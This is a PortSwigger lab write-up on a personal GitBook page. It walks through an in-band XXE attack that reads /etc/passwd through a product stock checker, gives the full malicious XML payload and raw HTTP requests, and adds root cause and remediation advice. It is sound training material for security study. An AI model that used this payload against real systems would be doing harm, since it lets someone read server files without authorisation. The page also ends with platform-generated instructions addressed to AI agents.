> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xxe-using-external-entities-to-retrieve-files.md).

# Lab: Exploiting XXE using external entities to retrieve files

**Lab:** [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files) **Difficulty:** Apprentice **Category:** XML External Entity (XXE) Injection **Objective:** Retrieve the contents of `/etc/passwd` via the product stock checker.

***

### Summary

This lab's "Check stock" feature on the product page submits an XML document to the server, which is parsed to check inventory. The `productId` value submitted in the request is parsed and reflected back in the response. Because the underlying XML parser hasn't disabled external entity resolution, it's possible to define a custom `DOCTYPE` with an external entity pointing to a local file and have its contents reflected in the response — classic in-band XXE.

***

### Steps

#### 1. Identify the vulnerable request

Browsing to any product page and clicking **"Check stock"** sends the following request:

```
POST /product/stock HTTP/2
Host: 0a67009c03b1726680ef996c004d009e.web-security-academy.net
Cookie: session=LxkuKUQ4SOk1fCLBB7eNP3rUIlYlwgYv; perf_dv6Tr4n=1
Content-Length: 107
Content-Type: application/xml
Origin: https://0a67009c03b1726680ef996c004d009e.web-security-academy.net
Referer: https://0a67009c03b1726680ef996c004d009e.web-security-academy.net/product?productId=1
...

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```

<figure><img src="/files/s8KUiantU0nDyZgwHovz" alt=""><figcaption></figcaption></figure>

The `productId` value is echoed back somewhere in the app's response (e.g. as "Invalid product ID: 1" or similar), which confirms it's a good injection point for in-band XXE.

#### 2. Send the request to Repeater

Right-click the intercepted request → **Send to Repeater**.

> show product id

#### 3. Craft the XXE payload

Modify the XML body to declare a `DOCTYPE` with an external entity pointing at `/etc/passwd`, then reference that entity in place of the `productId` value:

**Original body:**

```xml
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```

**Modified (malicious) body:**

```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

#### 4. Full raw HTTP request sent

```
POST /product/stock HTTP/2
Host: 0a67009c03b1726680ef996c004d009e.web-security-academy.net
Cookie: session=LxkuKUQ4SOk1fCLBB7eNP3rUIlYlwgYv; perf_dv6Tr4n=1
Content-Length: 218
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0a67009c03b1726680ef996c004d009e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a67009c03b1726680ef996c004d009e.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

> **Note on `Content-Length`:** Burp Repeater recalculates this automatically when you edit the body and hit Send — no need to compute it by hand.

<figure><img src="/files/MkzQBnYQ8iNALhZpaZXm" alt=""><figcaption></figcaption></figure>

#### 5. Send and observe the response

Sending this request causes the server's XML parser to resolve `&xxe;` against `file:///etc/passwd` before reflecting the `productId` field back in the response.

**Expected result** — the response body contains the contents of `/etc/passwd` in place of the original product ID, something like:

<figure><img src="/files/qz2uNqSd1qDSA7XYco2L" alt=""><figcaption></figcaption></figure>

***

### Root Cause

The application's XML parser had **DTD processing and external entity resolution enabled** by default. Since user-controlled XML (the `productId`/`storeId` document) reached this parser unfiltered, an attacker could define arbitrary external entities and have their resolved content reflected back through the existing `productId` echo behavior.

### Remediation

* Disable DTD processing entirely in the XML parser configuration (most modern parser libraries support a "secure processing" flag or equivalent).
* If external entities are genuinely required, restrict resolution to an explicit allowlist of trusted URIs.
* Treat any XML-processing endpoint as untrusted input and validate/sanitize before parsing.

***

### Key Takeaway

Any endpoint that parses and *reflects* user-supplied XML fields is a strong candidate for classic in-band XXE — always test by injecting a `DOCTYPE` with an external entity and substituting the reflected field's value with the entity reference.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/lab-exploiting-xxe-using-external-entities-to-retrieve-files.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
